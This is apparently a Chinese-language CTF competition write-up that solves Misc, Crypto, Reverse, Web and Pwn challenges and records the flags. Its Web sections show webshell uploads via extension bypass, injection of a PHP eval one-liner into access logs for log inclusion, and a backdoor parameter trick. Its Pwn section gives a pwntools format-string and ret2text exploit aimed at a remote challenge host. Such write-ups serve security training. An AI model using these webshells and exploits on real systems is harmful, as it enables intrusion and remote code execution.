这几天打了下汇丰的比赛,总体算比较简单
最近有些忙,没有时间更详细整理,就先将就看看吧
Misc
流量分析
打开流量包,发现存在http对象,且为docm格式
打开提示宏被禁用
选择启用宏,访问宏管理界面,得到宏代码
Option Explicit
Dim strEncoded, strDecoded
strEncoded = "ZmxhZ3s3ODVkMzRiNy1hMThiLTQ0YmUtOGU0Yi0xYzNkMzhmODhiYWF9"
strDecoded = DecodeBase64(strEncoded)
Debug.Print strDecoded
Function DecodeBase64(strIn)
Dim objXML, strOut
Set objXML = CreateObject("Microsoft.XMLDOM")
objXML.async = False objXML.loadXML "<root>" & strIn & "</root>"
DecodeBase64 = objXML.SelectSingleNode("/root").Text
Set objXML = Nothing
End Function
简要分析,发现是对strEncoded进行base64解码
对ZmxhZ3s3ODVkMzRiNy1hMThiLTQ0YmUtOGU0Yi0xYzNkMzhmODhiYWF9
解码得到
flag{785d34b7-a18b-44be-8e4b-1c3d38f88baa}
Crypto
简单编码
解码顺序
base64->hex->base91->base58
得到flag为flag{6f1be467900cf5ae57ea2f34e3536635}
什么加密
一个python代码,记录了加密顺序
def encrypt(plaintext, key):
ciphertext = ''
for i in range(len(plaintext)):
char = plaintext[i]
num = ord(char) - 97
num = (num + key) % 26
char = chr(num + 97)
ciphertext += char
return ciphertext
plaintext = '********'
flag = "flag{" + "}"
key = 10
ciphertext = encrypt(plaintext, key)
print(ciphertext)
# iyexygmkxlbokursvvmbizdy
核心加密逻辑是(num + key) % 26
,解密则就是(num - key + 26) % 26
,为了防止出现负数,需要再加上26
解密代码为
def decrypt(plaintext, key):
decrypttext = ""
for i in range(len(plaintext)):
char = plaintext[i]
num = ord(char) - 97
num = (num - key + 26) % 26
char = chr(num + 97)
decrypttext += char
return decrypttext
plaintext = 'iyexygmkxlbokursvvmbizdy'
key = 10
decrypttext = decrypt(plaintext, key)
flag = "flag{" + decrypttext + "}"
print(flag)
# flag{younowcanbreakhillcrypto}
Reverse
reverse
IDA逆向出伪代码
int __fastcall main_0(int argc, const char **argv, const char **envp)
{
char *v3; // rdi
__int64 i; // rcx
size_t v5; // rax
char v7; // [rsp+0h] [rbp-20h] BYREF
int j; // [rsp+24h] [rbp+4h]
char Str1[224]; // [rsp+48h] [rbp+28h] BYREF
__int64 v10; // [rsp+128h] [rbp+108h]
v3 = &v7;
for ( i = 82LL; i; --i )
{
*(_DWORD *)v3 = -858993460;
v3 += 4;
}
for ( j = 0; ; ++j )
{
v10 = j;
if ( j > j_strlen(Str2) )
break;
if ( Str2[j] == 111 )
Str2[j] = 48;
}
sub_1400111D1("input the flag:");
sub_14001128F("%20s", Str1);
v5 = j_strlen(Str2);
if ( !strncmp(Str1, Str2, v5) )
sub_1400111D1("this is the right flag!\n");
else
sub_1400111D1("wrong flag\n");
return 0;
}
核心加密逻辑是
for ( j = 0; ; ++j )
{
v10 = j;
if ( j > j_strlen(Str2) )
break;
if ( Str2[j] == 111 )
Str2[j] = 48;
}
Str2是常量,为{hello_world}
遍历Str2的每个字符,当这个字符的ascii码值为111时(即o),将它替换成48(即0),所以最后Str2为{hell0_w0rld}
当输入值Str1和Str2相同时提示this is the right flag!
即flag为flag{hell0_w0rld}
flower
IDA逆向出伪代码
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
size_t v3; // eax
_BYTE v5[1489]; // [esp+314h] [ebp-688h] BYREF
size_t i; // [esp+8F0h] [ebp-ACh]
char Str1[60]; // [esp+8FCh] [ebp-A0h] BYREF
char Src[40]; // [esp+938h] [ebp-64h] BYREF
char Str2[56]; // [esp+960h] [ebp-3Ch] BYREF
Src[0] = -18;
Src[1] = -28;
Src[2] = -23;
Src[3] = -17;
Src[4] = -13;
Src[5] = -63;
Src[6] = -41;
Src[7] = -26;
Src[8] = -19;
Src[9] = -19;
Src[10] = -20;
Src[11] = -41;
Src[12] = -15;
Src[13] = -72;
Src[14] = -3;
Src[15] = -6;
Src[16] = -41;
Src[17] = -18;
Src[18] = -71;
Src[19] = -23;
Src[20] = -17;
Src[21] = -41;
Src[22] = -18;
Src[23] = -71;
Src[24] = -72;
Src[25] = -1;
Src[26] = -70;
Src[27] = -6;
Src[28] = -5;
Src[29] = -11;
Src[30] = 0;
v3 = j__strlen(Src);
j__memmove(Str1, Src, v3 + 1);
sub_439C44("give me a flower\n");
sub_43B788("%s", Str2);
sub_439C44("thank you,give you a fuck flag: flag{this_1_a_fuck_f1ag_hahaha}\n");
for ( i = 0; i < j__strlen(Str1); ++i )
Str1[i] ^= 0x88u;
if ( !j__strcmp(Str1, Str2) )
return sub_439C44("I guess you guessed it\n");
sub_439C44("try agin agin agin");
qmemcpy(v5, &unk_4B5EE8, sizeof(v5));
return sub_439C44("%s");
}
观察易知,Src和Str1应该是存储的flag
核心flag生成逻辑是
for ( i = 0; i < j__strlen(Str1); ++i )
Str1[i] ^= 0x88u;
python代码
a = [-18,-28,-23,-17,-13,-63,-41,-26,-19,-19,-20,-41,-15,-72,-3,-6,-41,-18,-71,-23,-17,-41,-18,-71,-72,-1,-70,-6,-5,-11,0]
flag = ""
for i in a:
flag += chr((256+i) ^ 0x88)
print(flag)
# flag{I_need_y0ur_f1ag_f10w2rs}
Web
真SSTI注入
访问根目录获得源码
from flask import Flask, request, render_template_string
app = Flask(__name__)
black_list = ["eval", "exec", "open", "'", "~", "+", "globals", "request", "true", "false",
'get_flashed_messages', 'range', 'dict', 'cycler', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
@app.route('/')
def index():
return open(__file__).read()
@app.route('/user')
def user():
name = request.args.get("username")
if waf(name):
return "no no no"
return render_template_string(name)
if __name__ == '__main__':
app.run("0.0.0.0", port=8888)
访问/user
目录,传递username
,存在ssti模板注入
使用fenjing秒了
flag为flag{uDD66UDrt6aWBcEttAt4FhYUrb7t39wX}
文件上传
尝试直接上传木马,被拦截,提示仅能上传jpg文件
将木马后缀修改为jpg,拦截抓包,修改回php后缀,上传成功
但是不知道上传路径,尝试/upload
和/uploads
路径均无果
进行信息搜集
存在./index.php.swp
备份文件,访问获得源码
<?php
session_start();?>
<!DOCTYPE html>
<html lang="en" class="no-js">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>UPLOAD ME</title>
<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />
<link rel="stylesheet" type="text/css" href="css/component.css" />
<script>(function(e,t,n){var r=e.querySelectorAll("html")[0];r.className=r.className.replace(/(^|\s)no-js(\s|$)/,"$1js$2")})(document,window,0);</script>
</head>
<body>
<div class="container">
<div class="content">
<div class="box">
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file-1" class="inputfile inputfile-1" data-multiple-caption="{count} files selected" multiple />
<label for="file-1"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" viewBox="0 0 20 17"><path d="M10 0l-5.2 4.9h3.3v5.1h3.8v-5.1h3.3l-5.2-4.9zm9.3 11.5l-3.2-2.1h-2l3.4 2.6h-3.5c-.1 0-.2.1-.2.1l-.8 2.3h-6l-.8-2.2c-.1-.1-.1-.2-.2-.2h-3.6l3.4-2.6h-2l-3.2 2.1c-.4.3-.7 1-.6 1.5l.6 3.1c.1.5.7.9 1.2.9h16.3c.6 0 1.1-.4 1.3-.9l.6-3.1c.1-.5-.2-1.2-.7-1.5z"/></svg> <span>閫夋嫨涓€涓枃浠朵笂浼�</span></label>
<input type="submit" name="submit" value="Upload" />
</form>
</div>
</div>
</div>
<script src="js/custom-file-input.js"></script>
<div style="text-align:center;margin:10px 0; font:normal 14px/24px 'MicroSoft YaHei';">
</div>
</body>
</html>
<?php
//error_reporting(0);
if(!isset($_SESSION['source']))
{
$_SESSION['source'] = sha1(rand(0,1000));
}
$finalPos = getcwd() . "/upload/" . sha1($_SESSION['source']);
$filePos = $finalPos . "/" . basename($fileName);
发现文件上传的路径是/upload/sha1(rand(0,1000))/filename
因为sha1(rand(0,1000))
是随机生成的,因此需要爆破
爆破得到路径为/upload/6052521b7625e31d4ee9cc706732484fcf850877/normal.php
蚁剑连接在根目录存在flag
flag为flag{UJSv6ugGRMKtffnFUEuKumthatF4aw6m}
隐藏文件
目录扫描,存在/.index.php.swp
访问即可下载,发现是这么一个东西
注意到最后是php一句话木马,连接密码是c_m.d
,但是如果直接使用c_m.d
会被转义为c_m_d
,利用php8以下版本的解析漏洞,传c[m.d
参数实质上会被解析为c_m.d
访问c[m.d=system("cat /flag");
你的包含
访问源码,存在提示
显然文件包含漏洞,简单fuzz尝试伪协议,php和data被过滤,file读取不到flag文件
转向尝试日志包含,访问/?files=../../../../../var/log/nginx/access.log
存在日志包含,使用bp访问/<?php eval($_GET['cmd']);?>
路径,直接访问可能出现被url编码而包含失败的问题
再访问/?files=../../../../../var/log/nginx/access.log&cmd=system("ls /");
发现可疑的flaaaaag_8d673d5f4ab5
文件
访问/?files=../../../../../var/log/nginx/access.log&cmd=system("cat /flaaaaag_8d673d5f4ab5");
得到flag为flag{uYKsYedhgtaxRxhHgQ6u7qWne5F36qRe}
Pwn
pwn2
首先使用checksec检查程序
接着使用IDA反汇编,得到主函数伪代码
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-28h] BYREF
__int64 *v5; // [rsp+10h] [rbp-20h] BYREF
sub_4011ED(a1, a2, a3);
v5 = &v4;
puts("Please input something:");
__isoc99_scanf("%s", format);
puts("haa~ Perhaps it contains unexpected content.");
printf(format);
if ( v4 != 119 )
{
puts("Bye~");
exit(0);
}
puts("ok, you pass it!");
__isoc99_scanf("%s", &v5);
return 0LL;
}
int sub_4011D6()
{
return system("/bin/sh");
}
并且存在后门函数
观察存在格式化漏洞与栈溢出漏洞
如果v4!=119
,则程序终止运行
那么思路就是,先通过格式化字符串漏洞覆写v4的值,使其等于119绕过if判断,再利用第二个scanf函数打ret2text调用后门函数getshell
首先利用%n%p
测试格式化字符串漏洞,找到第八个参数为v4,通过输入%119c%8$n
将119写入v4绕过if判断
然后打一个ret2text即可,缓冲区大小0x20,再加上8个字节,shell地址为0x4011DE
完整exp
from pwn import *
sh = process("./pwn2")
sh = remote("39.107.234.204",42404)
shell_addr = 0x4011DE
sh.recvuntil(b"Please input something:")
payload = b'%119c%8$n'
sh.sendline(payload)
sh.recvuntil(b"ok, you pass it!")
payload = b'A'*(0x20+8) + p64(shell_addr)
sh.sendline(payload)
sh.interactive()
sh.close()
getshell后执行cat /flag
得到flag为flag{x7EJaRB3mkAqUWkU9XJBWfryFMWNStkQ}